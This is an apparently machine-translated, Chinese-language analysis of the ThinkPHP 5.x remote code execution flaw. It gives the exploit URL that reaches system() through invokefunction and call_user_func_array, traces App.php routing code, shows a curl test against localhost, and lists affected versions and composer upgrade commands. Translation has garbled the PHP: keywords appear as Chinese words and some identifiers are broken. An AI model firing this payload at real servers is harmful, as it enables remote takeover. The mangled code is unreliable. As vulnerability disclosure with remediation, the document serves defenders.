ThinkPHP简介ThinkPHP是一个免费开源、快速简单的面向对象的轻量级PHP开发框架。由于其易用性和可扩展性,已成长为国内颇具影响力的WEB应用开发框架。这是因为框架没有对控制器名称进行足够的检测。现在拉ThinkPHPv5.0.22来测试请求路由=>http://127.0.0.1/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l系统解析为=>module:index=>controller:\think\app=>method:invokefunction=>parameterlist:=>function=call_user_func_array=>vars[0]=system=>vars[1][]=ls-ltrace到路由分析代码thinkphplibrarythinkApp.php/***执行模块*@accesspublic*@paramarray$resultmodule/controller/操作*@paramarray$config配置参数*@parambool$convert是否自动转换controller和operationname*@returnmixed*@throwsHttpException*/publicstaticfunctionmodule($result,$config,$convert=null){//========================================================//没有过滤,它直接通过/分解解析//=============================================================如果(is_string($result)){$result=explode('/',$result);}...//==========================================================//直接赋值给$result[1]即\think\app不过滤Instantiate//==========================================================$instance=Loader::controller($controller,//\think\app$config['url_controller_layer'],$config['controller_suffix'],$config['empty_controller']);...//=============================================//pass$result[2]是invokefunction方法//is_callable([$instance,"invokefunction"]//============================================if(is_callable([$instance,$action])){//执行操作方法$call=[$instance,$action];//严格获取当前操作方法的名称$reflect=new\ReflectionMethod($instance,$action);$methodName=$reflect->getN名字();$suffix=$config['action_suffix'];$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;$request->action($actionName);...返回self::invokeMethod($call,$vars);.../***调用反射执行类的方法支持参数绑定*@accesspublic*@paramstring|array$methodmethod*@paramarray$varsvariable*@returnmixed*/publicstaticfunctioninvokeMethod($method,$vars=[]){如果(is_array($method)){$class=is_object($method[0])?$方法[0]:自我::调用类($方法[0]);$reflect=new\ReflectionMethod($class,$method[1]);}else{//静态方法$reflect=new\ReflectionMethod($method);}$args=self::bindParams($reflect,$vars);//===================================================//传递uri参数//var_dump($args);//-------------------------//array(2){//[0]=>//string(20)"call_user_func_array"//[1]=>//array(2){//[0]=>//string(6)"system"//[1]=>//array(1){//[0]=>//string(5)"ls-l"//}//}//}//===================================================自我::$debug&&Log::record('[RUN]'.$reflect->class.'->'.$reflect->name.'['.$reflect->getFileName().']','info');//=========================================================//通过invokeFunction将系统调用传递给call_user_func_array//从而调用system("ls-l")//============================================================返回$reflect->invokeArgs(isset($class)?$class:null,$args);}.../***执行函数或闭包方法支持参数调用*@accesspublic*@paramstring|array|\Closure$function函数或或者closure*@paramarray$varsvariable*@returnmixed*/publicstaticfunctioninvokeFunction($function,$vars=[]){$reflect=new\ReflectionFunction($function);$args=self::bindParams($reflect,$vars);//记录执行信息self::$debug&&Log::r??ecord('[RUN]'.$reflect->__toString(),'info');返回$reflect->invokeArgs($args);}漏洞测试结果#curl"http://127.0.0.1/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l“总计13-rw-r--r--1pc-user197121850Sep721:33favicon.ico-rw-r--r--1pc-user197121766Sep721:33index.php-rw-r--r--1pc-user19712124Sep721:33robots.txt-rw-r--r--1pc-user197121840Sep721:33router.phpdrwxr-xr-x1pc-user1971210Dec2622:18static影响版本范围ThinkPHP5.0.x<5.0.23ThinkPHP5.1.x<5.1.31请查看相关链接中的github版本列表,参考更新内容github发布列表,自己选择升级影响最小,最好直接升级到最新版本。如果要避免该漏洞,至少应该升级到ThinkPHP5.0.23ThinkPHP5.1.31composerrequiretopthink/framework=v5.0.23composerrequiretopthink/framework=v5.1.31升级后,确认版本已经更新#composer显示topthink/frameworkname:topthink/frameworkdescrip。:新的thinkphpframeworkkeywords:framework,orm,thinkphpversions:*v5.0.23type:think-framework...相关链接ThinkPHPcomposerpackagelist(composercanPulledversionlist)ThinkPHPgithubversionlist(referenceforupdatecontentdescription)ThinkPHPofficial漏洞描述ThinkPHP5.x远程代码getshell漏洞源码分析
